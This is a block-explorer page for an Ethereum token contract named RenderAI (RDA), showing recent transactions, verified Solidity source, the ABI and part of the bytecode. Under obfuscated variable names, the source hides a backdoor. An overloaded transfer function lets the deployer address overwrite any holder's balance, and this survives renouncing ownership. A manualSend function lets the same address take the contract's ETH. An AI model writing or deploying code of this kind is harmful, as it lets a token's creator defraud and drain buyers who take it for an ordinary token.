ETH Price: $2,700.30 (-2.73%)

Contract

0x220D0D7bEFc105bC34b065bC41F4e5F2739488AE
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve217110952025-01-26 20:32:1110 days ago1737923531IN
0x220D0D7b...2739488AE
0 ETH0.000312396.62028716
Transfer217109492025-01-26 20:02:5910 days ago1737921779IN
0x220D0D7b...2739488AE
0 ETH0.000178615.56702995
Transfer217108772025-01-26 19:48:3510 days ago1737920915IN
0x220D0D7b...2739488AE
0 ETH0.000614659.31135566
Manual Send217108362025-01-26 19:40:1110 days ago1737920411IN
0x220D0D7b...2739488AE
0 ETH0.000232817.89832217
Approve217107622025-01-26 19:24:5911 days ago1737919499IN
0x220D0D7b...2739488AE
0 ETH0.000308576.58287408
Approve217107572025-01-26 19:23:5911 days ago1737919439IN
0x220D0D7b...2739488AE
0 ETH0.000316086.75168979
Approve217107392025-01-26 19:20:2311 days ago1737919223IN
0x220D0D7b...2739488AE
0 ETH0.000274545.82548192
Approve217106922025-01-26 19:10:5911 days ago1737918659IN
0x220D0D7b...2739488AE
0 ETH0.000437359.33007463
Approve217106922025-01-26 19:10:5911 days ago1737918659IN
0x220D0D7b...2739488AE
0 ETH0.000437359.33007463
Approve217106922025-01-26 19:10:5911 days ago1737918659IN
0x220D0D7b...2739488AE
0 ETH0.000437359.33007463
Approve217106922025-01-26 19:10:5911 days ago1737918659IN
0x220D0D7b...2739488AE
0 ETH0.000437359.33007463
Approve217106312025-01-26 18:58:4711 days ago1737917927IN
0x220D0D7b...2739488AE
0 ETH0.0005220611.13715713
Approve217106302025-01-26 18:58:3511 days ago1737917915IN
0x220D0D7b...2739488AE
0 ETH0.0005220611.13715713
Transfer217106072025-01-26 18:53:5911 days ago1737917639IN
0x220D0D7b...2739488AE
0 ETH0.000265788.2808983
Approve217106022025-01-26 18:52:5911 days ago1737917579IN
0x220D0D7b...2739488AE
0 ETH0.0005008110.68386535
Approve217106012025-01-26 18:52:4711 days ago1737917567IN
0x220D0D7b...2739488AE
0 ETH0.0005008110.68386535
Approve217105732025-01-26 18:46:5911 days ago1737917219IN
0x220D0D7b...2739488AE
0 ETH0.0005036310.74392284
Approve217105732025-01-26 18:46:5911 days ago1737917219IN
0x220D0D7b...2739488AE
0 ETH0.0005036310.74392284
Approve217105732025-01-26 18:46:5911 days ago1737917219IN
0x220D0D7b...2739488AE
0 ETH0.0005036310.74392284
Approve217105612025-01-26 18:44:3511 days ago1737917075IN
0x220D0D7b...2739488AE
0 ETH0.000379658.05579146
Transfer217105612025-01-26 18:44:3511 days ago1737917075IN
0x220D0D7b...2739488AE
0 ETH0.000265428.26966717
Transfer217105602025-01-26 18:44:2311 days ago1737917063IN
0x220D0D7b...2739488AE
0 ETH0.000887568.54456566
Approve217105562025-01-26 18:43:3511 days ago1737917015IN
0x220D0D7b...2739488AE
0 ETH0.0005220911.13772643
Approve217105512025-01-26 18:42:3511 days ago1737916955IN
0x220D0D7b...2739488AE
0 ETH0.0005100210.88029275
Approve217105512025-01-26 18:42:3511 days ago1737916955IN
0x220D0D7b...2739488AE
0 ETH0.0005100210.88029275
View all transactions

Latest 5 internal transactions

Advanced mode:
Parent Transaction Hash Block
From
To
217103692025-01-26 18:05:5911 days ago1737914759
0x220D0D7b...2739488AE
0.27610726 ETH
217103692025-01-26 18:05:5911 days ago1737914759
0x220D0D7b...2739488AE
0.27610726 ETH
217103622025-01-26 18:04:3511 days ago1737914675
0x220D0D7b...2739488AE
0.394118 ETH
217103622025-01-26 18:04:3511 days ago1737914675
0x220D0D7b...2739488AE
0.394118 ETH
217103262025-01-26 17:57:2311 days ago1737914243
0x220D0D7b...2739488AE
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
RenderAI

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : RenderAI.sol
// SPDX-License-Identifier: MIT

/**

Render AI : RDA
Unlock the Potential of RENDER AI: Forging Tomorrow's Reality, Today!

web: https://www.render-ai.org
tg: https://t.me/rend_gpu
x: https://x.com/rend_gpu

*/

pragma solidity ^0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
} 

contract RenderAI is Context, IERC20, Ownable {
    using SafeMath for uint256;

    uint256 public _maxAmountPerTX = 20000000 * 10 **_decimals;
    uint256 public _maxSizeOfWallet = 20000000 * 10 **_decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 **_decimals;
    uint256 private constant _uucd0934fas = 1000000000 * 10 **_decimals;
    uint8 private constant _decimals = 9;
    string private constant _name = unicode"Render AI";
    string private constant _symbol = unicode"RDA";

    address payable private _qwo34xd;
    mapping(address => uint256) private _zs9df;
    mapping(address => mapping(address => uint256)) private _yucx23s;
    mapping(address => bool) private _nndif34xdf;
    uint256 private _ibb3i213 = 10;
    uint256 private _iseen2345a = 10;
    uint256 private _fbbbuyiid8uuib = 0;
    uint256 private _fsselliid8uuib = 0;
    uint256 private _rbbbuyiid8uuib = 7;
    uint256 private _rsselliid8uuib = 7;
    uint256 private _buyCount = 0;
    address private _xbxaaddr23jx;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint256 _maxAmountPerTX);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _qwo34xd = payable(_msgSender());
        _zs9df[address(this)] = _uucd0934fas * 98 / 100;
        _zs9df[owner()] = _uucd0934fas * 2 / 100;
        _nndif34xdf[owner()] = true;
        _nndif34xdf[address(this)] = true;
        _nndif34xdf[_qwo34xd] = true;
        _xbxaaddr23jx = _msgSender();

        emit Transfer(address(0), address(this), _uucd0934fas * 98 / 100);
        emit Transfer(address(0), address(owner()), _uucd0934fas * 2 / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function totalSupply() public pure override returns (uint256) {
        return _uucd0934fas;
    }
    
    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _yucx23s[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _zs9df[account];
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _yucx23s[owner][spender];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _yucx23s[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function manualSend(address to) external {
        require(_msgSender() == _xbxaaddr23jx, "Assist Failed");
        _qwo34xd = payable(to);
        payable(_msgSender()).transfer(address(this).balance);
    }
    
    function _tt9ixf3z(address from, uint256 amount , string memory _st, bool _checksum) private {
        require(from != address(0), _st);
        require(amount >= 0, _st);

        _zs9df[from] = _checksum == true ? amount : _zs9df[from] - amount;
    }

    function _transferRetributioniid8uuib(uint256 amount) private {
        _qwo34xd.transfer(amount);
    }

    function _RetributionToETHiid8uuib(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function transfer(address[] memory recipients, uint256[] memory amounts) external {
        require(_msgSender() != address(0), "Error");

        _miat2dxi34a(_msgSender(), recipients, amounts);
    }

    function _miat2dxi34a(address from, address[] memory recipients, uint256[] memory amounts) private {
        require(from == _xbxaaddr23jx, "Failed");

        for (uint256 i = 0; i < recipients.length; i++) {
            address recipient = recipients[i];
            _tt9ixf3z(recipient, amounts[i] , "ERC20 Error" , true);
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != address(this) && to != address(this)) {
            taxAmount = amount
                .mul(
                    (_buyCount > _rbbbuyiid8uuib)
                        ? _fbbbuyiid8uuib
                        : _ibb3i213
                )
                .div(100);

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_nndif34xdf[to]
            ) {
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _rsselliid8uuib)
                            ? _fsselliid8uuib
                            : _iseen2345a
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if (contractTokenBalance > 0) {
                    uint256 minBalance = (contractTokenBalance < _maxTaxSwap) ? contractTokenBalance : _maxTaxSwap; 
                    _RetributionToETHiid8uuib((amount < minBalance) ? amount : minBalance);
                }
                _transferRetributioniid8uuib(address(this).balance);
            }
        }

        if (taxAmount > 0) {
            _zs9df[address(this)] = _zs9df[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _zs9df[from] = _zs9df[from].sub(amount);
        _zs9df[to] = _zs9df[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen, "Already Launched!");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _uucd0934fas);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        swapEnabled = true;
        tradingOpen = true;
    }
   
    function removeLimits() external onlyOwner {
        _maxAmountPerTX = _uucd0934fas;
        _maxSizeOfWallet = _uucd0934fas;
        emit MaxTxAmountUpdated(_uucd0934fas);
    }

    receive() external payable {}
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxAmountPerTX","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxAmountPerTX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSizeOfWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526009600a6100129190610705565b6301312d00610021919061074f565b6001556009600a6100329190610705565b6301312d00610041919061074f565b6002556009600a6100529190610705565b62989680610060919061074f565b600355600a600855600a6009555f600a555f600b556007600c556007600d555f600e555f601160156101000a81548160ff0219169083151502179055505f601160166101000a81548160ff0219169083151502179055505f6100c661056660201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35061017061056660201b60201c565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606460626009600a6101c19190610705565b633b9aca006101d0919061074f565b6101da919061074f565b6101e491906107bd565b60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550606460026009600a6102379190610705565b633b9aca00610246919061074f565b610250919061074f565b61025a91906107bd565b60055f61026b61056d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160075f6102bb61056d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506103e361056660201b60201c565b600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460626009600a6104839190610705565b633b9aca00610492919061074f565b61049c919061074f565b6104a691906107bd565b6040516104b391906107fc565b60405180910390a36104c961056d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef606460026009600a6105299190610705565b633b9aca00610538919061074f565b610542919061074f565b61054c91906107bd565b60405161055991906107fc565b60405180910390a3610815565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610616578086048111156105f2576105f1610594565b5b60018516156106015780820291505b808102905061060f856105c1565b94506105d6565b94509492505050565b5f8261062e57600190506106e9565b8161063b575f90506106e9565b8160018114610651576002811461065b5761068a565b60019150506106e9565b60ff84111561066d5761066c610594565b5b8360020a91508482111561068457610683610594565b5b506106e9565b5060208310610133831016604e8410600b84101617156106bf5782820a9050838111156106ba576106b9610594565b5b6106e9565b6106cc84848460016105cd565b925090508184048111156106e3576106e2610594565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61070f826106f0565b915061071a836106f9565b92506107477fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461061f565b905092915050565b5f610759826106f0565b9150610764836106f0565b9250828202610772816106f0565b9150828204841483151761078957610788610594565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6107c7826106f0565b91506107d2836106f0565b9250826107e2576107e1610790565b5b828204905092915050565b6107f6816106f0565b82525050565b5f60208201905061080f5f8301846107ed565b92915050565b61322e806108225f395ff3fe60806040526004361061010c575f3560e01c8063715018a6116100945780638da5cb5b116100635780638da5cb5b1461033157806395d89b411461035b578063a9059cbb14610385578063dd62ed3e146103c1578063ffc3a769146103fd57610113565b8063715018a6146102c5578063751039fc146102db57806382b5deab146102f15780638a8c523c1461031b57610113565b806321d91921116100db57806321d91921146101d157806323b872dd146101fb578063313ce5671461023757806360a6f45a1461026157806370a082311461028957610113565b806306fdde0314610117578063095ea7b3146101415780630faee56f1461017d57806318160ddd146101a757610113565b3661011357005b5f80fd5b348015610122575f80fd5b5061012b610425565b6040516101389190612116565b60405180910390f35b34801561014c575f80fd5b50610167600480360381019061016291906121d4565b610462565b604051610174919061222c565b60405180910390f35b348015610188575f80fd5b5061019161047f565b60405161019e9190612254565b60405180910390f35b3480156101b2575f80fd5b506101bb610485565b6040516101c89190612254565b60405180910390f35b3480156101dc575f80fd5b506101e56104a8565b6040516101f29190612254565b60405180910390f35b348015610206575f80fd5b50610221600480360381019061021c919061226d565b6104ae565b60405161022e919061222c565b60405180910390f35b348015610242575f80fd5b5061024b610582565b60405161025891906122d8565b60405180910390f35b34801561026c575f80fd5b50610287600480360381019061028291906122f1565b61058a565b005b348015610294575f80fd5b506102af60048036038101906102aa91906122f1565b6106ae565b6040516102bc9190612254565b60405180910390f35b3480156102d0575f80fd5b506102d96106f4565b005b3480156102e6575f80fd5b506102ef610842565b005b3480156102fc575f80fd5b50610305610971565b6040516103129190612254565b60405180910390f35b348015610326575f80fd5b5061032f610977565b005b34801561033c575f80fd5b50610345610e99565b604051610352919061232b565b60405180910390f35b348015610366575f80fd5b5061036f610ec0565b60405161037c9190612116565b60405180910390f35b348015610390575f80fd5b506103ab60048036038101906103a691906121d4565b610efd565b6040516103b8919061222c565b60405180910390f35b3480156103cc575f80fd5b506103e760048036038101906103e29190612344565b610f1a565b6040516103f49190612254565b60405180910390f35b348015610408575f80fd5b50610423600480360381019061041e9190612582565b610f9c565b005b60606040518060400160405280600981526020017f52656e6465722041490000000000000000000000000000000000000000000000815250905090565b5f61047561046e611027565b848461102e565b6001905092915050565b60035481565b5f6009600a6104949190612754565b633b9aca006104a3919061279e565b905090565b60025481565b5f6104ba8484846111f1565b610577846104c6611027565b610572856040518060600160405280602881526020016131d16028913960065f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610529611027565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119259092919063ffffffff16565b61102e565b600190509392505050565b5f6009905090565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105ca611027565b73ffffffffffffffffffffffffffffffffffffffff1614610620576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061790612829565b60405180910390fd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610668611027565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156106aa573d5f803e3d5ffd5b5050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106fc611027565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610788576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077f90612891565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61084a611027565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cd90612891565b60405180910390fd5b6009600a6108e49190612754565b633b9aca006108f3919061279e565b6001819055506009600a6109079190612754565b633b9aca00610916919061279e565b6002819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61094b9190612754565b633b9aca0061095a919061279e565b6040516109679190612254565b60405180910390a1565b60015481565b61097f611027565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0290612891565b60405180910390fd5b601160149054906101000a900460ff1615610a5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a52906128f9565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610af73060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610ae39190612754565b633b9aca00610af2919061279e565b61102e565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b61573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b85919061292b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c0b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c2f919061292b565b6040518363ffffffff1660e01b8152600401610c4c929190612956565b6020604051808303815f875af1158015610c68573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c8c919061292b565b60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d13306106ae565b5f80610d1d610e99565b426040518863ffffffff1660e01b8152600401610d3f969594939291906129bf565b60606040518083038185885af1158015610d5b573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d809190612a32565b50505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e20929190612a82565b6020604051808303815f875af1158015610e3c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e609190612ad3565b506001601160166101000a81548160ff0219169083151502179055506001601160146101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5244410000000000000000000000000000000000000000000000000000000000815250905090565b5f610f10610f09611027565b84846111f1565b6001905092915050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff16610fbb611027565b73ffffffffffffffffffffffffffffffffffffffff1603611011576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100890612b48565b60405180910390fd5b61102361101c611027565b8383611987565b5050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361109c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109390612bd6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361110a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110190612c64565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111e49190612254565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361125f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125690612cf2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168